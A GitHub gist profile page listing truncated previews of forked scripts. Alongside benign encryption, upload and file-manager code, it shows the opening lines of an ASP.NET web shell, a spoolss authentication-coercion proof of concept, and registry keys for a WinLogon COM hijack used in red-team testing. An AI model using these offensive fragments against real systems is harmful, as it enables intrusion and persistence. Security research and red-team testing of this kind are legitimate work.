Skip to content

Instantly share code, notes, and snippets.

View NullArray's full-sized avatar
:electron:
Contact me at developers@greysec.net

Vector Security NullArray

:electron:
Contact me at developers@greysec.net
View GitHub Profile
#!/bin/sh
keylength=8
algo=$1
[[ "$algo" = "aes" ]] && keylength=16
[[ "$algo" = "3des" ]] && keylength=24
encfile=$(mktemp -t _encXXXXXX) && \
keyfile=$(mktemp -t _encXXXXXX) && \
dd if=/dev/urandom of="$keyfile" bs="$keylength" count=1 >/dev/null 2>&1 && \
@NullArray
NullArray / tormap.py
Created April 10, 2019 21:27 — forked from resilar/tormap.py
map(GET(url)) over Tor exit nodes
#!/usr/bin/env python
PROXY=("localhost", 9050)
CONTROLPORT=9051
COOKIE="/opt/torchroot/var/lib/tor/control_auth_cookie"
URL="http://showip.net"
OUT="scan/"
RELAY="firsthop"
EXITS="exit-addresses"
@NullArray
NullArray / EncryptDecrypt.cs
Created January 22, 2019 20:37 — forked from heiswayi/EncryptDecrypt.cs
Encryption & Decryption method for C#
public static string Encrypt(string data, string key)
{
RijndaelManaged rijndaelCipher = new RijndaelManaged();
rijndaelCipher.Mode = CipherMode.CBC;
rijndaelCipher.Padding = PaddingMode.PKCS7;
rijndaelCipher.KeySize = 0x80;
rijndaelCipher.BlockSize = 0x80;
byte[] pwdBytes = Encoding.UTF8.GetBytes(key);
byte[] keyBytes = new byte[0x10];
@NullArray
NullArray / shell.asp
Created January 22, 2019 20:33 — forked from heiswayi/shell.asp
Shell script for ASP.NET
<%@ Language = VBScript
CodePage = 1252 %>
<%
Option Explicit
'/* --- Options --- */
Server.ScriptTimeout = 360 ' Seconds
Session.Timeout = 5 ' Minutes
Response.Expires = -1 ' Minutes (expires immediately)
Private sMD5Hash ' MD5("HitU")
@NullArray
NullArray / SimpleAuth.php
Created January 22, 2019 20:30 — forked from heiswayi/SimpleAuth.php
Simple PHP script to protect any PHP page using session
<?php
/*
* Filename: SimpleAuth.php
* Version: 1.0
* Author: Heiswayi Nrird
* Dscription: Simple PHP script to protect any PHP page using session
* Website: https://heiswayi.nrird.com
*
* HOW TO USE
* ==========
@NullArray
NullArray / form-ui.html
Created January 22, 2019 20:30 — forked from heiswayi/form-ui.html
Form UI Mockup Framework
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Formalize CSS</title>
</head>
<body>
<div id="wrapper">
<h1>
Example of all form elements
@NullArray
NullArray / img-upload.php
Created January 22, 2019 20:29 — forked from heiswayi/img-upload.php
Internal Image Hosting Script
<?php
// Configuration
$title = 'Internal Image Hosting Script';
$filedir = 'up'; // uploaded image dir
$maxsize = 5242880; //max size in bytes
$allowedExts = array('png', 'jpg', 'jpeg', 'gif');
$allowedMime = array('image/png', 'image/jpeg', 'image/pjpeg', 'image/gif');
$baseurl = $_SERVER['HTTP_HOST'].dirname($_SERVER['REQUEST_URI']).'/'.$filedir;
function compressImage($source_url, $destination_url, $quality) {
@NullArray
NullArray / fm.php
Created January 22, 2019 20:17 — forked from heiswayi/fm.php
Single PHP File Manager Script - Screenshot: https://i.imgur.com/4OtrKUz.png
<?php
/**
* File Manager Script
*/
// Default language ('en' and other from 'filemanager-l10n.php')
$lang = 'en';
// Auth with login/password (set true/false to enable/disable it)
$use_auth = true;
@NullArray
NullArray / dementor.py
Created November 1, 2018 01:28 — forked from 3xocyte/dementor.py
rough PoC to connect to spoolss to elicit machine account authentication
#!/usr/bin/env python
# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
# some code from https://www.exploit-db.com/exploits/2879/
import os
import sys
import argparse
import binascii
import ConfigParser
@NullArray
NullArray / winlogon.reg
Created October 4, 2018 06:37 — forked from api0cradle/winlogon.reg
WinLogon Windows 7 x64 COM Hijack
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]